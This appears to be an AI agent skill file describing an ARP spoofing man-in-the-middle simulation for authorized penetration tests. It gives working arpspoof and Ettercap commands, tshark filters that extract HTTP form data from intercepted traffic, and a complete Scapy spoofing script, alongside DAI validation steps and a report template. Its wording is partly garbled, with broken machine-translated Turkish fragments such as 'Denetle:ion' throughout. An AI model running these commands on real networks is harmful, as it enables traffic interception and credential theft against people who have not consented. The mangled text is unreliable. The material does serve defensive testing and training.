Performing Arp Spoofing Attack Simulation

---
name: performing-arp-spoofing-attack-simulation
description: Simulates ARP spoofing attacks in authorized lab or pentest environments using arpspoof, Ettercap, and Scapy to demonstrate man-in-the-middle risks, test network Tespit capabilities, and
  validate ARP Denetle:ion countermeasures.
tags:
- layer2-attack
- arp-spoofing
- ettercap
- mitm
- network-security
- fetih
- cybersecurity
- siber-güvenlik
triggers:
- IDS
- IPS
- alert
- attack
- authentication
- ağ güvenliği
- dns
- firewall
- http
- network
- network security
- password
category: network-security
source_subdomain: network-security
nist_csf:
- PR.IR-01
- DE.CM-01
- ID.AM-03
- PR.DS-02
adapted_for: fetih
---

# Performing Arp Spoofing Attack Simulation


## Ne Zaman Kullanılır

- Testing whether network switches and infrastructure properly implement Dynamic ARP Denetle:ion (DAI)
- Demonstrating man-in-the-middle attack risks to stakeholders during authorized security assessments
- Validating that network monitoring tools (IDS/IPS, SIEM) tespit etme
ARP cache poisoning attempts
- Assessing the effectiveness of port security, 802.1X, and VLAN segmentation controls
- Training SOC analysts to recognize ARP spoofing indicators in network traffic

**Kullanma:** on production networks without explicit written authorization and a rollback plan, against networks carrying critical or life-safety traffic, or as a denial-of-service attack vector.

## Ön Gereksinimler

- Written authorization specifying in-scope network segments for ARP spoofing simulation
- Kali Linux or similar penetration testing distribution with arpspoof, Ettercap, and Scapy installed
- Direct Layer 2 Erişim: the target network segment (same VLAN as target hosts)
- IP forwarding knowledge and ability to enable/disable packet forwarding on the attacker machine
- Wireshark or tcpdump for capturing traffic to verify interception
- Isolated lab environment or approved production test window


> **Legal Notice:** bu skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## İş Akışı

### Adım 1: Enumerate the Target Network Segment

```bash
nmap -sn -PR 192.168.1.0/24 -oG arp_discovery.txt

ip route show default

arp-scan -l -I eth0

arp -a

```

### Adım 2: Enable IP Forwarding

```bash
sudo sysctl -w net.ipv4.ip_forward=1

cat /proc/sys/net/ipv4/ip_forward

sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0
```

### Adım 3: Execute ARP Spoofing with arpspoof

```bash
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1

sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.50

sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//
```

### Adım 4: Capture and Analyze Intercepted Traffic

```bash
sudo tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.50

sudo tshark -i eth0 -Y "http.request.method == POST" \
  -T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value

sudo tshark -i eth0 -Y "dns.qry.name and ip.src == 192.168.1.50" \
  -T fields -e frame.time -e dns.qry.name

sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1// \
  -w ettercap_capture.pcap
```

### Adım 5: Demonstrate Impact with Scapy (Custom ARP Packets)

```python
#!/usr/bin/env python3
"""ARP spoofing demonstration using Scapy for authorized security testing."""

from scapy.all import Ether, ARP, sendp, srp, conf
import time
import sys

conf.verb = 0

def get_mac(ip, iface="eth0"):
    """Resolve IP to MAC address via ARP request."""
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
                 timeout=2, iface=iface)
    if ans:
        return ans[0][1].hwsrc
    return None

def spoof(target_ip, spoof_ip, target_mac, iface="eth0"):
    """Send spoofed ARP reply to target."""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    sendp(Ether(dst=target_mac) / packet, iface=iface, verbose=False)

def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface="eth0"):
    """Restore legitimate ARP entries."""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
                 psrc=gateway_ip, hwsrc=gateway_mac)
    sendp(Ether(dst=target_mac) / packet, iface=iface, count=5, verbose=False)

if __name__ == "__main__":
    target_ip = "192.168.1.50"
    gateway_ip = "192.168.1.1"
    iface = "eth0"

    target_mac = get_mac(target_ip, iface)
    gateway_mac = get_mac(gateway_ip, iface)

    if not target_mac or not gateway_mac:
        print("[!] Could not resolve MAC addresses. Exiting.")
        sys.exit(1)

    print(f"[*] Target: {target_ip} ({target_mac})")
    print(f"[*] Gateway: {gateway_ip} ({gateway_mac})")
    print("[*] Starting ARP spoofing... Press Ctrl+C to stop.")

    try:
        packets_sent = 0
        while True:
            spoof(target_ip, gateway_ip, target_mac, iface)
            spoof(gateway_ip, target_ip, gateway_mac, iface)
            packets_sent += 2
            print(f"\r[*] Packets sent: {packets_sent}", end="")
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[*] Restoring ARP tables...")
        restore(target_ip, gateway_ip, target_mac, gateway_mac, iface)
        restore(gateway_ip, target_ip, gateway_mac, target_mac, iface)
        print("[*] ARP tables restored. Exiting.")
```

### Adım 6: Verify Tespit and Cleanup

```bash
arp -a | grep 192.168.1.1


sudo sysctl -w net.ipv4.ip_forward=0


arp -a
```

## Key Concepts

| Term | Definition |
|------|------------|
| **ARP Cache Poisoning** | Technique of sending fraudulent ARP replies to associate the attacker's MAC address with another host's IP address in the target's ARP cache |
| **Gratuitous ARP** | ARP reply sent without a corresponding request, used by ARP spoofing tools to update a target's ARP cache with false entries |
| **Dynamic ARP Denetle:ion (DAI)** | Switch-level security feature that validates ARP packets against the DHCP snooping binding database and drops invalid ARP traffic |
| **IP Forwarding** | Kernel-level setting that allows a host to relay packets between network interfaces, required for transparent man-in-the-middle interception |
| **DHCP Snooping** | Switch security feature that builds a trusted binding table of IP-to-MAC-to-port mappings, serving as the foundation for DAI validation |

## Tools & Systems

- **arpspoof (dsniff suite)**: Simple command-line tool that sends continuous spoofed ARP replies to redirect traffic between two targets
- **Ettercap**: Comprehensive suite for man-in-the-middle attacks supporting ARP spoofing, DNS spoofing, content filtering, and credential capture
- **Scapy**: Python packet manipulation library for crafting custom ARP packets with full control over all header fields
- **arp-scan**: Network scanning tool that sends ARP requests to discover all hosts on a local network segment
- **Wireshark**: Packet analyzer for verifying ARP spoofing success and capturing intercepted traffic for analysis

## Common Scenarios

### Scenario: Testing Dynamic ARP Denetle:ion Effectiveness on Enterprise Switches

**Context**: A network team Dağıtılmış Cisco DAI on all access-layer switches and needs to validate that ARP spoofing attempts are properly Detected and blocked. The test is authorized on a dedicated VLAN (VLAN 100) with three test hosts and one attacker machine connected to the same switch.

**Approach**:
1. Document baseline ARP tables on all hosts and the legitimate MAC-IP bindings in the DHCP snooping database
2. Run arpspoof from the attacker machine targeting the default gateway and a test workstation
3. Şunu doğrula: the switch drops spoofed ARP packets by checking DAI statistics: `show ip arp Denetle:ion statistics vlan 100`
4. Confirm the test workstation's ARP cache still shows the legitimate gateway MAC address
5. Temporarily disable DAI on the test VLAN and repeat the attack to confirm it succeeds without the control
6. Re-enable DAI and document results showing the control is effective
7. Şunu doğrula: IDS alerts were generated for both the blocked and unblocked attack attempts

**Pitfalls**:
- Running ARP spoofing on a VLAN without DAI and accidentally disrupting legitimate traffic
- Forgetting to enable IP forwarding, causing a denial-of-service instead of transparent interception
- Not restoring ARP tables after testing, leaving hosts with stale cache entries
- Testing on a trunk port instead of an access port, potentially affecting multiple VLANs

## Output Format

```
## ARP Spoofing Simulation Report

**Test ID**: NET-ARP-001
**Date**: 2024-03-15 14:00-15:00 UTC
**Target VLAN**: VLAN 100 (192.168.1.0/24)
**Attacker**: 192.168.1.99 (AA:BB:CC:DD:EE:FF)
**Target**: 192.168.1.50 (00:11:22:33:44:55)
**Gateway**: 192.168.1.1 (00:AA:BB:CC:DD:01)

### Test Results

| Test | DAI Status | ARP Spoof Result | Traffic Intercepted |
|------|------------|-------------------|---------------------|
| Test 1 | Enabled | Blocked (switch dropped 847 packets) | No |
| Test 2 | Disabled | Successful (target ARP cache poisoned) | Yes - 23 HTTP sessions |
| Test 3 | Re-enabled | Blocked | No |

### Tespit Coverage
- DAI: PASS - Dropped all spoofed ARP replies when enabled
- IDS (Snort): PASS - Generated alert SID:1000010 within 15 seconds
- SIEM: PASS - Alert correlated and escalated within 2 minutes

### Öneriler
1. Maintain DAI enabled on all access VLANs (currently disabled on VLANs 200, 210)
2. Enable DHCP snooping rate limiting to prevent DHCP starvation attacks
3. Dağıt: 802.1X port authentication to complement ARP Denetle:ion
```

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